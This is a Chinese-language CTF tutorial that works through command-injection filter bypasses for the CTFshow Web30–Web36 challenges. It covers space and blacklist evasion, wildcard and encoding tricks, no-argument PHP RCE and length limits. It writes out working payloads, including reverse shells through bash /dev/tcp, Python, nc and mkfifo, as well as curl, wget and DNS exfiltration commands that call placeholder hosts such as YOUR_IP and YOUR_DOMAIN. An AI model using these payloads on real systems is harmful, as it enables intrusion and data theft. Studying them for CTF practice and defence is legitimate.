CTF命令执行绕过实战:从空格过滤到无回显外带的7种核心姿势

📅 2026/7/5 20:25:31 👁️ 阅读次数 📝 编程学习
CTF命令执行绕过实战:从空格过滤到无回显外带的7种核心姿势

1. 项目概述:一场与过滤器的猫鼠游戏

如果你玩过CTFshow的Web30到Web36,大概率会对那几个命令执行关卡印象深刻。它们就像一道精心设计的阶梯,每一级都设置了一个新的“过滤器”,从最基础的过滤空格,到后来的黑名单、无回显、甚至字符长度限制,步步紧逼。很多新手朋友卡在这里,看着题目描述里寥寥几行代码,感觉无从下手,明明知道是命令执行,但就是执行不了。这其实是一场典型的“猫鼠游戏”——出题人(猫)设置了各种规则来限制你,而你的任务就是找到规则中的缝隙(鼠洞),优雅地钻过去。

这系列关卡的核心价值,远不止于拿到那几分。它系统地训练了你面对命令执行漏洞时最关键的思维:绕过。在真实的渗透测试或安全研究中,你几乎不可能遇到一个毫无防护、直接让你执行任意命令的系统。安全工程师们会部署WAF、编写过滤函数、进行输入净化。因此,能否成功利用一个命令执行漏洞,90%的功夫都花在了如何绕过这些防护措施上。Web30-Web36就是一个绝佳的微型训练场,它把常见的、基础的绕过姿势拆解成了六个独立的实验场景。

我花了些时间,重新梳理并实战了这几个关卡,将其中涉及的核心绕过技巧归纳为7种具有代表性的“姿势”。这不仅仅是解题攻略,更是一次对命令执行绕过底层逻辑的深度拆解。无论你是想通关CTFshow的新手,还是希望夯实Web安全基础的朋友,理解这背后的“为什么”和“怎么做”,都能让你在遇到真实世界的复杂过滤时,拥有清晰的排查思路和丰富的“武器库”。

2. 核心思路拆解:理解过滤器的运作原理

在开始具体绕过之前,我们必须先建立一个核心认知:所有的绕过技巧,都建立在对过滤器(Filter)行为模式的准确理解之上。你不能盲目地尝试各种Payload,而应该像调试程序一样,去“探测”和“推断”过滤器做了什么。

2.1 过滤器常见的处理逻辑

命令执行漏洞的过滤器,通常出现在Web应用程序将用户输入传递给系统命令执行函数(如PHP的system()exec()passthru(),Python的os.system()等)之前。其处理逻辑无外乎以下几种:

  1. 黑名单(Blacklist):这是最简单也最容易被绕过的防护。开发者定义一个“危险字符或命令”的列表(如catflag;|&),然后在用户输入中查找并删除或替换这些内容。绕过思路:利用黑名单的“不完整性”。例如,如果过滤了cat,可以用tacmorelessheadtail甚至nl来替代。如果过滤了空格,可以用${IFS}$IFS$9<>%09(Tab的URL编码)等来替代。
  2. 白名单(Whitelist):相对安全,但实现复杂。只允许输入符合特定格式或集合的字符(如只允许数字和字母)。在CTF中较少见,因为一旦实现,绕过难度极大。
  3. 转义或编码处理:对特殊字符(如引号、反斜杠、美元符号)进行转义,防止它们被Shell解释。例如,将转义为\’,将$转义为\$
  4. 长度限制:严格限制用户输入的长度,让你无法拼接复杂的命令。
  5. 无回显(Blind):命令执行了,但结果不直接显示在页面上。你需要通过其他方式(如DNS外带、HTTP请求、写入文件再读取、时间盲注)来获取命令执行的结果。

Web30-Web36的关卡,就是围绕这些逻辑的组合与变种展开的。我们的绕过姿势,本质上就是针对每一种处理逻辑的“特解”。

2.2 通用探测方法论

面对一个未知的过滤环境,我通常会遵循以下步骤进行探测,这套方法在实战中非常有效:

  1. 信息收集:首先查看网页源码、响应头,有时过滤逻辑会直接写在客户端的JavaScript里(虽然不安全,但CTF中常见)。更重要的是,尝试触发错误信息。例如,在参数后加一个单引号,看是否会报数据库或PHP语法错误,这能帮你判断输入点上下文。
  2. 基础字符测试:依次测试常见的命令分隔符和管道符:;|&&&||\n(换行符)。观察页面反应是执行了、被过滤了(字符消失)、还是报错了。
  3. 空格绕过测试:如果发现命令拼接成功但空格被过滤,立即尝试上述提到的替代品:${IFS}$IFS$9<%09
  4. 命令黑名单测试:尝试执行最简单的lsdir。如果被拦,尝试变体:l\sl‘s’l”s”/???/ls(利用通配符)。同时,思考有哪些替代命令可以实现相同功能(读文件、执行、反弹Shell等)。
  5. 输出与回显判断:执行一个有明显效果的命令,如sleep 5(时间延迟)或ping -c 1 your-dns-log.com(DNS外带)。如果页面卡住5秒或你的DNS日志收到记录,说明命令已执行,只是无回显,需要转向盲注技巧。

这套“组合拳”打下来,你对当前关卡的过滤规则就能有个七八分的把握了。接下来,我们就带着这套方法论,进入具体的关卡实战。

3. 姿势一:空格过滤的经典绕过(对应Web30)

Web30通常被设计为过滤了空格字符。这是最简单的绕过,也是很多朋友命令执行绕过的第一课。

关卡模拟场景:假设有一个PHP页面,代码如下:

<?php $cmd = $_GET[‘cmd’]; $cmd = str_replace(“ “, “”, $cmd); // 过滤所有空格 system($cmd); ?>

你的目标是读取当前目录下的flag.php文件。

直接Payloadcat flag.php会变成catflag.php,显然无法执行。

绕过姿势:使用Shell环境中的内部字段分隔符替代品。

  1. ${IFS}:这是最标准、兼容性最好的方式。IFS是Shell的预定义变量,默认为空格、制表符、换行符。用${}包裹起来后,它会被解释为一个变量,其值就是空格。

    • Payload:cat${IFS}flag.php
    • 原理:在Bash中,${IFS}被扩展为一个空格,从而成功分隔catflag.php
  2. $IFS$9:这是${IFS}的一个变种,在CTF中极为常见。$9代表Shell脚本的第9个参数,通常为空。拼接$IFS$9后,$9的空值不会影响$IFS的解析,且这种写法常能绕过一些简单的字符串匹配过滤。

    • Payload:cat$IFS$9flag.php
    • 原理:与${IFS}类似,$IFS变量被扩展,后面的$9(空)被忽略,整体效果等同于一个空格。
  3. 重定向符号<<用于输入重定向,但在这里可以巧用作命令参数分隔。你可以将文件作为命令的“参数”输入。

    • Payload:cat<flag.php
    • 原理cat命令会从flag.php文件中读取内容并输出。这并非通过空格传递参数,而是通过重定向传递输入源,完美绕过了对空格的检查。
  4. URL编码%09:在HTTP请求中,空格可以编码为%20,但制表符(Tab)的编码%09更常被用作空格替代,因为很多过滤器只过滤%20而忽略%09

    • Payload(在浏览器地址栏或Burp Suite中):?cmd=cat%09flag.php
    • 原理:服务器端收到%09,解码后得到一个制表符,在Shell中,制表符和空格一样可以作为单词分隔符使用。

实操心得:在自动化工具或编程构造Payload时,${IFS}$IFS$9的可靠性最高。如果遇到更严格的过滤,可以尝试将整个Payload用引号包裹再配合sh -c执行,例如sh -c “cat\$IFS\flag.php”,这里需要对$进行转义以防止本地变量被提前解释。

4. 姿势二:命令黑名单的“同义替换”(对应Web31)

当空格过滤被解决后,下一关通常会引入命令黑名单。比如,过滤了catflagphp等关键词。

关卡模拟场景

<?php $cmd = $_GET[‘cmd’]; $blacklist = array(“cat”, “flag”, “php”, “ “); $cmd = str_replace($blacklist, “”, $cmd); system($cmd); ?>

注意,这里使用了str_replace,这是一个递归过滤的函数。输入catcat,经过过滤会变成空字符串,因为移除第一个cat后,剩下的字符又组成了第二个cat,会被再次移除。

绕过姿势:核心思想是“用不同的命令做同样的事”,以及“破坏关键词的连贯性”。

  1. 命令替代:读文件不止cat

    • more:分页显示文件。more flag.php
    • less:与more类似,功能更强。
    • head/tail:显示文件头/尾几行。head -n 50 flag.php(查看前50行)。
    • tac:反向显示文件(cat的反写)。
    • nl:显示文件并加上行号。
    • od/xxd:以二进制或十六进制格式查看文件,常用于查看包含特殊字符的文件。
    • strings:打印文件中可打印的字符序列,对于从二进制文件中找字符串很有用。
    • grep:搜索文件内容。grep -r “ctfshow{” .在当前目录递归搜索包含ctfshow{的文件。
  2. 通配符绕过:利用Shell的通配符?*来匹配命令或文件名。/bin/cat被过滤了?试试/???/cat

    • ?代表任意单个字符。/???/cat可以匹配到/bin/cat
    • *代表任意多个字符。/usr/bin/cat也可以用/*/cat来匹配,但可能匹配到多个路径,不够精确。
    • Payload:/???/cat /???/????.???。这可能匹配到/bin/cat /var/flag.php。在CTF中,目录结构通常简单,这种匹配成功率很高。
  3. 转义与引号:在字符中间插入转义符或引号,破坏黑名单字符串的完整性。

    • 反斜杠转义c\at fl\ag.p\hp。在Shell解析时,反斜杠会被移除,命令变成cat flag.php
    • 单/双引号包裹c’a’t f”l”ag.php。引号内的字符被当作一个整体,但引号本身在参数解析时会被移除。
    • 注意:这种方法对于使用str_replace等简单字符串删除的过滤有效,但如果过滤器是正则表达式匹配(如preg_match(“/cat/”))则可能无效。
  4. 递归过滤的利用:针对str_replace的递归过滤,可以采用“叠罗汉”技巧。例如,要输出cat,可以传入caat。过滤器移除中间的a后,剩下的字符正好是cat。但本例中过滤的是整个单词,此技巧更适用于过滤单个字符的场景。

注意事项:命令替代是首选方案,因为它最直接可靠。通配符技巧在未知绝对路径时非常有用。转义和引号技巧则需要对过滤函数的行为有精准判断,可以先通过echo命令测试过滤效果,例如传入?cmd=echo‘test’,观察输出是test还是echtest(过滤了o),从而推断过滤逻辑。

5. 姿势三:拼接与无参RCE的奇技淫巧(对应Web32/33)

当过滤进一步加强,可能禁用更多特殊字符(如反斜杠、引号、$)甚至字母时,我们就需要更巧妙的姿势:命令拼接无参数RCE

关卡模拟场景(Web32):过滤了空格、大部分特殊字符,但允许点号.、引号等。或者,代码本身允许你传入多个参数,但每个参数都单独过滤。

绕过姿势:利用Shell的特性或PHP的特性进行拼接。

  1. 利用Shell变量拼接:即使$被过滤,我们仍可能利用已存在的环境变量。但更常见的是利用.(点号)在PHP中作为字符串连接符的特性(如果代码是eval(“\$a=’$cmd’;”)这类形式)。在纯Shell环境下,我们可以用{CMD,ARG}的形式。

    • Shell花括号扩展{cat,flag.php}在Shell中会被扩展为cat flag.php。这中间自动产生了空格。
    • Payload:?cmd={cat,flag.php}
  2. 反引号命令替换:反引号 `` 或$()会先执行其中的命令,并将其输出作为参数。可以用于生成所需的字符串。

    • 例如,如果cat被过滤,但echols没被过滤。可以尝试a=`echo cat`; $a flag.php。先让echo cat的输出(即字符串cat)赋值给变量a,然后执行$a flag.php
    • 这需要分号;或换行符来分隔命令,如果它们也被过滤,则难度增大。
  3. 无参数RCE(Web33可能涉及):这是高阶技巧。当你的输入点不允许任何参数,或者所有参数都被严格过滤时,你需要在不使用括号、参数的情况下调用函数并执行命令。在PHP中,这通常依赖于:

    • getallheaders():获取所有HTTP头,我们可以将命令写入某个Header(如X-Forwarded-For),然后通过end()current()等数组函数获取它。
    • get_defined_vars():获取所有已定义变量,可能从$_GET$_POST等超全局数组中提取数据。
    • session_id():如果session_start()被调用,我们可以通过Cookie的PHPSESSID传入Payload。
    • scandir()+current()/next()/end():遍历目录,找到flag文件,然后用readfile()highlight_file()等读取。
    • 示例(概念性):假设代码是eval($_GET[‘cmd’]);且过滤了所有引号和括号。一个可能的Payload是利用?cmd=echo;$_GET[1];&1=system(‘ls’);,但这需要括号。真正的无参可能像这样:?cmd=highlight_file(next(scandir(current(get_defined_vars()))));`,这需要极其特殊的上下文环境。

踩坑记录:拼接技巧高度依赖于目标环境(Shell版本、PHP配置、过滤函数顺序)。在实战中,务必先用echo测试各种构造的输出结果。例如,传入?cmd=echo${IFS}“test”,看是输出test还是echotest,以此判断${IFS}和引号是否被正确解析。无参RCE则需要对PHP内部函数有深刻理解,通常用于解决极端限制的题目。

6. 姿势四:长度限制下的“文件写入”与“反弹Shell”(对应Web34)

有些关卡会限制输入命令的长度(比如少于10个字符)。你无法直接写入一个完整的cat flag.php

关卡模拟场景if(strlen($cmd) < 10) { system($cmd); }

绕过姿势:核心思路是“分步写入”和“外部牵引”。既然一次说不完,那就分几次说,或者让目标机器主动联系我。

  1. 短命令写入文件:利用极短的命令,分步将一段较长的Payload写入一个临时文件,然后执行这个文件。

    • Step 1: 写入Payload。可以使用echo命令配合重定向>
      • >a创建一个空文件a
      • echo\>a可能会出错,因为echo默认输出到stdout。更可靠的是使用printfecho -n,但字符数可能超限。一个经典技巧是利用ls -t>g将文件名按时间顺序写入文件g,然后通过精心排列上传文件顺序来构造命令,但这需要Web目录有写权限且能上传文件。
    • Step 2: 执行文件。如果写入的是Shell脚本,可以用sh a来执行。
    • CTF经典技巧(长度极限利用):通过>创建一系列包含单个字符的文件(文件名就是字符),然后用ls -t>g将这些文件名按时间顺序排列写入文件g,使得g文件的内容恰好是一个可执行的命令字符串,最后sh g。这个过程对字符长度要求极低,但步骤繁琐。
  2. 反弹Shell(更通用):当长度受限但网络连通时,反弹Shell是最优雅的解决方案。你不需要在目标机器上写出完整命令,只需要让它连接你的监听端口。

    • 短Payload示例
      • Bash:bash -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1。这个命令较长,但可以编码压缩。
      • 利用工具生成短链接:可以使用python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“YOUR_IP”,YOUR_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’,这个更长。
      • 终极短命令:如果nc(netcat)可用,且支持-e参数,那么nc YOUR_IP PORT -e /bin/sh相对较短。如果nc不支持-e,可以用管道方式:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc YOUR_IP PORT >/tmp/f,这个就更长了。
    • 如何适配长度限制?将反弹Shell的命令用Base64编码,然后分多次echo解码。例如:
      • 在你的机器上准备Payload:echo “bash -i >& /dev/tcp/192.168.1.100/4444 0>&1” | base64得到一串编码。
      • 在目标机器上执行:echo$IFS’Y2F0IC4uLy4uLy4uL2ZsYWc=’|base64$IFS-d|bash。这里echo输出Base64串,通过管道|传给base64 -d解码,再传给bash执行。你可以将长Base64串拆分成多个echo语句,用>>追加到文件,最后一次性解码执行。

重要提醒:反弹Shell是渗透测试中获取稳定交互式Shell的常用手段,但在CTF或未经授权的测试中绝对禁止对非目标机器使用。在CTF题目中,这通常是一个设计好的考点。在你的本地实验环境或CTF平台提供的靶机中练习即可。

7. 姿势五:无回显命令执行的“外带数据”(对应Web35)

这是命令执行漏洞利用中非常关键的一环:盲注(Blind Command Injection)。命令执行了,但你看不到输出结果。你需要通过其他渠道把数据“带出来”。

关卡模拟场景system($cmd);但页面没有任何回显,或者只显示“执行成功/失败”。

绕过姿势:建立一条从目标服务器到你的服务器的“数据隧道”。

  1. DNS外带(DNS Exfiltration):这是最隐蔽、最常用的方式之一。利用DNS查询日志来携带信息。

    • 原理:让目标服务器解析一个由你控制的域名,并将要窃取的数据作为子域名的一部分。你的DNS服务器会收到查询请求,从日志中即可提取数据。
    • 命令ping -c 1 $(whoami).YOUR_DOMAIN.com
      • $(whoami)会执行并输出当前用户名,比如root
      • 最终执行的命令是ping -c 1 root.YOUR_DOMAIN.com
      • 你的DNS服务器(例如配置了*.YOUR_DOMAIN.com的NS记录)会收到对root.YOUR_DOMAIN.com的查询。
    • 工具:可以使用interactshdnslog.cnceye.io等在线平台快速获得一个临时域名并查看DNS日志,无需自建服务器。
    • Payload示例:读取flag.php的第一行并外带:head$IFS-1$IFSflag.php|xxd$IFS-p|tr$IFS-d$IFS’\n’|xargs$IFS-I{}$IFSdig$IFS{}.YOUR_DOMAIN.com。这个命令将flag内容转成十六进制,然后分成小块作为子域名进行查询。
  2. HTTP/HTTPS外带:让目标服务器向你的Web服务器发起HTTP请求,将数据放在URL、Header或Body中。

    • 使用curlwget
      • curl http://YOUR_IP:PORT/?data=$(cat flag.php | base64)
      • wget http://YOUR_IP:PORT/$(whoami)
    • 使用ping带数据(ICMP):虽然不如DNS通用,但ping-p选项(在某些系统上)可以指定填充字节,可用于携带少量数据。ping -c 1 -p $(echo -n ‘data’|xxd -p) YOUR_IP
  3. 时间盲注(Time-based Blind):通过命令执行的时间延迟来推断信息。类似于SQL时间盲注。

    • 原理:如果命令执行成功,就sleep几秒;如果失败,立即返回。通过观察页面响应时间,可以判断条件真假。
    • 命令cat /flag && sleep 5或者grep -q ‘ctfshow{‘ /flag && sleep 3
    • 自动化:时间盲注通常需要编写脚本(Python)来自化枚举数据,过程缓慢。
  4. 写入文件再间接读取:如果目标Web目录可访问,可以将命令输出写入一个.txt.jpg甚至.php文件,然后通过Web访问该文件。

    • ls > /var/www/html/result.txt,然后访问http://target.com/result.txt
    • 如果只能写入当前目录,可以尝试ls > a,然后看页面是否有文件包含漏洞能包含a这个文件。

实操心得:DNS外带是首选,因为它能穿透大多数出站防火墙(DNS端口53通常开放)。HTTP外带次之,但需要注意目标服务器是否有curl/wget工具,以及你的服务器IP是否被目标网络策略允许。时间盲注是最后的选择,效率最低。在实战中,可以组合使用:先通过DNS外带确认漏洞存在并获取基础信息(如当前路径、用户名),再通过HTTP外带传输大文件。

8. 姿势六:编码与十六进制绕过(通用技巧)

当过滤器对特殊字符和关键词进行严格匹配时,编码是一种有效的混淆手段。

绕过姿势:利用Shell或编程语言对编码字符串的解码能力。

  1. Base64编码:这是最常用的编码绕过方式。

    • 命令echo ‘Y2F0IGZsYWcucGhw’ | base64 -d | bash
    • 分解
      1. echo ‘Y2F0IGZsYWcucGhw’输出Base64字符串(即cat flag.php的编码)。
      2. | base64 -d管道将输出传递给base64命令进行解码,还原为cat flag.php
      3. | bash将解码后的命令字符串交给bash执行。
    • 优点:可以绕过对空格、关键词的直接匹配。因为Payload在解码前只是一串“人畜无害”的字母数字。
  2. 十六进制(Hex)编码:Shell的printfxxd命令可以处理十六进制。

    • 命令echo ‘63617420666c61672e706870’ | xxd -r -p | bash
      • 63617420666c61672e706870cat flag.php的十六进制表示(每个字符的ASCII码)。
      • xxd -r -p-r表示反转(hex转binary),-p表示使用纯十六进制格式(无空格和地址)。
    • 或者使用printfbash <<< `printf ‘\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70’`。这里利用了Here String和命令替换。
  3. 八进制编码:原理类似,使用printf\nnn格式(nnn为八进制数)。

    • printf ‘\143\141\164\040\146\154\141\147\056\160\150\160’会输出cat flag.php

注意事项:编码绕过的前提是,目标系统上有对应的解码工具(base64xxdprintf)并且允许你通过管道|或反引号将解码后的内容传递给Shell。如果过滤器连|bash也禁用了,此方法可能失效。另外,注意编码后的字符串本身不能包含被过滤的特殊字符(如Base64串尾部的=可能被过滤)。

9. 姿势七:综合绕过与高级利用链构建(对应Web36及更高难度)

Web36或更复杂的关卡,往往是上述多种过滤规则的组合。例如,同时过滤空格、关键命令、特殊字符,并且有长度限制或无回显。这时就需要构建一个利用链,将多种姿势组合起来。

模拟场景:过滤了catflag空格$|&;,并且命令长度不能超过15个字符,无回显。

解题思路(假设)

  1. 目标:读取/flag文件。
  2. 约束分析:不能有空格,不能用cat,不能管道,长度短,无回显。
  3. 链式构造
    • Step1: 解决无回显。首选DNS外带。我们需要一个非常短的命令来触发DNS查询。ping命令相对较短。
    • Step2: 解决命令和空格。不能用cat,考虑用headtailmore。假设head没被过滤。空格用${IFS}可能被过滤(含$),考虑用<重定向。但head</flag仍然需要把文件内容传给DNS。
    • Step3: 组合与压缩。我们可以尝试:head</flag。但如何将输出传给ping?没有管道|。可以尝试命令替换$(…),但$被过滤。另一个思路:将输出重定向到一个文件,然后用ping读取这个文件?ping不支持从文件读数据作为域名。
    • Step4: 换个思路——利用通配符和短命令。也许存在一个非常短的命令可以执行代码。例如,如果.(点号)没被过滤,在Linux中,.等同于source命令,可以执行一个文件。我们可以先通过其他方式(比如之前的长度限制关卡中的分步写入技巧)写入一个非常短的、用于DNS外带的脚本。
    • Step5: 利用环境变量或已有文件。检查是否可以通过*通配符来匹配到某个已存在的、内容可控的文件?或者,/???/???可能匹配到/usr/bin/wget,用它来外带数据?但wget命令本身长度可能超限。
    • 最终Payload构想(一种可能):如果/bin/base64可以通过/???/??????匹配到,我们可以:/???/??????$IFS/flag。但$IFS被过滤。尝试用</???/??????</flag。这个命令会执行base64并以/flag作为输入,输出flag的Base64编码。但输出到哪里?无回显。我们需要把它作为参数传给ping。这又回到了管道问题。
    • 可能的突破口:如果echo没被过滤,且反引号 `` 没被过滤(有时过滤$()但不过滤反引号),可以尝试:ping \`head -c 10 /flag\`.dnslog.cn。但这里-c和空格又是问题。

这个思维过程展示了面对复杂过滤时的真实挑战。通常的解决方案是:

  1. 寻找未被过滤的“原语”:找到一个最基础的、可用的命令执行点(哪怕只能执行echo 1)。
  2. 逐步扩大控制范围:利用这个原语,结合文件操作(写文件)、编码、外部工具(如果存在),一步步构建出能执行更复杂命令的环境。
  3. 善用“外部资源”:在CTF中,题目环境往往预装了一些不常见的工具,或者某些目录有写权限。ls -la /ls -la /binls -la /usr/bin查看可用工具是第一步。
  4. 考虑非预期解:有时出题人的过滤逻辑可能存在缺陷,比如过滤函数顺序错误、正则表达式存在绕过(如/bin/cat过滤了,但/bin/\cat没过滤)、或者存在其他未被发现的输入点。

10. 实战问题排查与工具使用心得

在实际操作这些绕过姿势时,你一定会遇到各种意想不到的问题。这里分享一些排查技巧和工具使用心得。

常见问题速查表

问题现象可能原因排查思路
Payload提交后无任何变化,页面原样返回1. 输入点错误。
2. 命令执行函数被禁用或不存在。
3. 过滤规则过于严格,Payload被完全清空。
1. 检查参数名是否正确(cmdccommand等)。
2. 尝试最简单的echo 123sleep 5测试。
3. 使用echo ‘test’ > test.txt并访问该文件,确认命令是否执行。
页面返回错误信息(如500错误)1. 命令语法错误。
2. 执行的命令不存在。
3. 权限不足。
1. 在本地Shell中测试Payload的语法。
2. 使用which cattype cat确认命令路径。
3. 尝试读取/etc/passwd等公开文件测试权限。
部分字符被删除或替换触发了黑名单过滤或转义。使用echo回显你的Payload,观察哪些字符被处理了。例如:?cmd=echo;a;b;c,看输出是a b c还是abc,判断分号是否被过滤。
长度受限,长Payload被截断前端或后端有长度限制。1. 使用短命令或编码。
2. 尝试分步写入文件。
3. 检查是否有其他参数可利用,进行拼接。
命令疑似执行但无回显盲注场景。1. 使用DNS外带命令(pingdignslookup)测试。
2. 使用sleep命令测试时间延迟。
3. 尝试将输出写入Web可访问目录的文件。
反弹Shell连接失败1. 你的监听设置错误。
2. 目标出站防火墙阻止。
3. Payload中的IP/端口错误。
4. 目标系统没有/bin/bashnc
1. 先用nc -lvnp PORT在本地测试监听是否正常。
2. 尝试使用常见端口(53, 80, 443)。
3. 检查Payload中的IP是否为公网IP(如果是局域网环境)。
4. 尝试使用其他Shell Payload(如Python、PHP、Perl版本)。

工具推荐与使用技巧

  1. Burp Suite / HackBar:用于方便地构造和发送HTTP请求,编码/解码Payload,观察响应。Repeater模块是测试Payload的利器。
  2. CyberChef:一个强大的Web编解码、加密解密、数据格式转换工具。可以快速进行Base64、Hex、URL编码等操作,并组合成“配方”(Recipe),极大提升效率。
  3. Interactsh / DNSLog Platform:用于接收DNS、HTTP外带数据。无需自建服务器,获取一个子域名即可开始测试,自动记录查询日志,是检测盲注的神器。
  4. SecLists:一个庞大的安全测试用例集合。其中的Fuzzing目录包含各种用于命令注入的模糊测试字典,如command-injection-generic-payloads.txt,可以加载到Burp Intruder中进行批量测试。
  5. 编写简单Python脚本:对于时间盲注或需要复杂逻辑拼接的Payload,手动操作不现实。用Python的requests库编写脚本,自动化枚举数据(如逐字符读取flag)是必备技能。

最后的忠告:命令执行绕过的学习,切忌死记硬背Payload。关键是要理解每一种姿势背后的原理:Shell是如何解析命令的?PHP的system()函数是如何处理字符串的?过滤器做了什么和没做什么?只有理解了原理,你才能在面对全新的、未见过的过滤规则时,创造出属于自己的绕过方法。Web30-Web36这六个关卡,就是六个经典的原理实验场,把它们吃透,你的命令执行漏洞利用水平一定会迈上一个坚实的台阶。